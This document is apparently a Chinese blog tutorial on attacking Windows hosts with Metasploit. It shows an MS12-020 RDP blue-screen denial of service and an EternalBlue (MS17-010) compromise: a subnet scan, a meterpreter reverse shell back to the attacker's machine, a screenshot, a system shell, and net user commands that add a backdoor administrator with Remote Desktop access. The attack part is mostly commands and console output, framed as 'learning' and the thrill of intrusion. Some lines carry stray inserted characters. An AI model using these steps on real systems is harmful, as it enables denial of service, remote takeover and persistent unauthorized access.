Metasploit
Metasploit是什么？Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它是附带数百个已知软件漏洞的专业级漏洞攻击工具。
如果这样很难理解，我们换个说法；每天都有无数的漏洞被发现，如果我们每个人都收集几种并汇聚到一起，修改为相同的操作方式，这就是msf在做的；msf初衷是做一个攻击工具开发平台，但现在更多的情况下msf沦为了业余安全爱好者和安全专家的武器库，只需要点几下鼠标，就能入侵成功。
MS12-020
MS12-020是一个针对远程桌面(RDP)协议的漏洞，其最严重的情况可能会造成远程执行代码，而通常情况下会造成对方蓝屏。
利用方法
msfconsole 从终端进入msf框架
查找漏洞代码
msf > search 12_020[!] Module database cache not built yet, using slow searchMatching Modules================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS auxiliary/scanner/rdp/ms12_020_check normal MS12-020 Microsoft Remote Desktop Checker
使用该漏洞利用代码
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
查看使用方法
msf auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show optionsModule options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 3389 yes The target port (TCP)
漏洞模块为auxiliary/dos/windows/rdp/ms12_020_maxchannelids
参数为 RHOST目标地址，RPORT目标端口。
设置参数
msf auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set RHOST 192.168.136.129RHOST => 192.168.136.129msf auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set RPORT 3389RPORT => 3389msf auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show optionsModule options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.136.129 yes The target address RPORT 3389 yes The target port (TCP)
运行
msf auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > exploit[*] 192.168.136.129:3389 - 192.168.136.129:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS[*] 192.168.136.129:3389 - 192.168.136.129:3389 - 210 bytes sent[*] 192.168.136.129:3389 - 192.168.136.129:3389 - Checking RDP status...[+] 192.168.136.129:3389 - 192.168.136.129:3389 seems down[*] Auxiliary module execution completed
攻击完成
对方蓝屏
MS12-020是msf中利用比较简单的一种，可以用来学习msf的框架的简单使用方法，又能快速增加入侵成功的成就感。
MS17-010(永恒之蓝)
永恒之蓝是2017年席卷全球的勒索软件的罪魁祸首，是微软近些年来最为严重的远程代码执行漏洞，可以直接获得系统权限，请所有IT从业人员在任何时候都要打满补丁以绝后患。
利用方法
进入msf框架
root@kali:~# msfconsole
查找MS17-010相关利用代码
search 17_010[!] Module database cache not built yet, using slow searchMatching Modules================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
检测内网中存在漏洞的主机系统
msf > use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(scanner/smb/smb_ms17_010) > show options Module options (auxiliary/scanner/smb/smb_ms17_010): Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.136.129/24 RHOSTS => 192.168.136.129/24 msf auxiliary(scanner/smb/smb_ms17_010) > exploit [*] Scanned 26 of 256 hosts (10% complete) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 77 of 256 hosts (30% complete) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 128 of 256 hosts (50% complete) [+] 192.168.136.129:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
加载攻击模块
msf auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalbluemsf exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- GroomAllocations 12 yes Initial number of 电脑 times to groom the kernel pool. GroomDelta 5 yes The amount to increase the groom count by per try. MaxExploitAttempts 3 yes The number of times to retry the exploit. ProcessName spoolsv.exe yes Process to inject payload into. RHOST yes The target address RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VerifyArch true yes Check if remote architecture matches exploit Target. VerifyTarget true yes Check if remote OS matches exploit Target.Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
配置
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.136.129RHOST => 192.168.136.129msf exploit(windows/smb/ms17_010_eternalblue) > set payload 电脑 windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.136.131LHOST => 192.168.136.131msf exploit(windows/smb/ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- GroomAllocations 12 yes Initial number of times to groom the kernel pool. GroomDelta 5 yes The amount to increase the groom count by per try. MaxExploitAttempts 3 yes The number of times to retry the exploit. ProcessName spoolsv.exe yes Process to inject payload into. RHOST 192.168.136.129 yes The target address RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no 电脑 (Optional) The username to authenticate as VerifyArch true yes Check if remote architecture matches exploit Target. VerifyTarget true yes Check if remote OS matches exploit Target.Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.136.131 yes The listen address LPORT 4444 yes The listen portExploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
发动攻击
msf exploit(windows/smb/ms17_010_eternalblue) > exploit[*] Started reverse TCP handler on 192.168.136.131:4444 [*] 192.168.136.129:445 - Connecting to target for exploitation.[+] 192.168.136.129:445 - Connection established for exploitation.[+] 192.168.136.129:445 - Target OS selected valid for OS indicated by SMB reply[*] 192.168.136.129:445 - CORE raw buffer dump (53 bytes)[*] 192.168.136.129:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2[*] 192.168.136.129:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris[*] 192.168.136.129:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P[*] 192.168.136.129:445 - 0x00000030 61 63 6b 20 31 ack 1 [+] 192.168.136.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply[*] 192.168.136.129:445 - Trying exploit with 12 Groom Allocations.[*] 192.168.136.129:445 - Sending all but last fragment of exploit packet[*] 192.168.136.129:445 - Starting non-paged pool grooming[+] 192.168.136.129:445 - Sending SMBv2 buffers[+] 192.168.136.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.[*] 192.168.136.129:445 - Sending final SMBv2 buffers.[*] 192.168.136.129:445 - Sending last fragment of exploit packet![*] 192.168.136.129:445 - Receiving response from exploit packet[+] 192.168.136.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)![*] 192.168.136.129:445 - Sending egg to corrupted connection.[*] 192.168.136.129:445 - Triggering free of corrupted buffer.[*] Sending stage (206403 bytes) to 192.168.136.129[*] Meterpreter session 1 opened (192.168.136.131:4444 -> 192.168.136.129:49567) at 2018-04-30 23:31:53 +0800[+] 192.168.136.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[+] 192.168.136.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[+] 192.168.136.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
获取对方电脑桌面
meterpreter > screenshotScreenshot saved to: /root/VrBAGsTE.jpeg
获得shell权限
meterpreter > shellProcess 4088 created.Channel 1 created.Microsoft Windows [?汾 6.1.7601]??????? (c) 2009 Microsoft Corporation???????????????C:\Windows\system32>
添加管理员并加入远程桌面组
net user test test123 /addnet user localgroup administrators test /addnet localgroup \"Remote Desktop Users\" test /add
完成入侵。
MS17-010在msf里属于中等使用难度，涉及了扫描、配置回链方式、桌面抓图、提权等手段，是非常好的学习对象。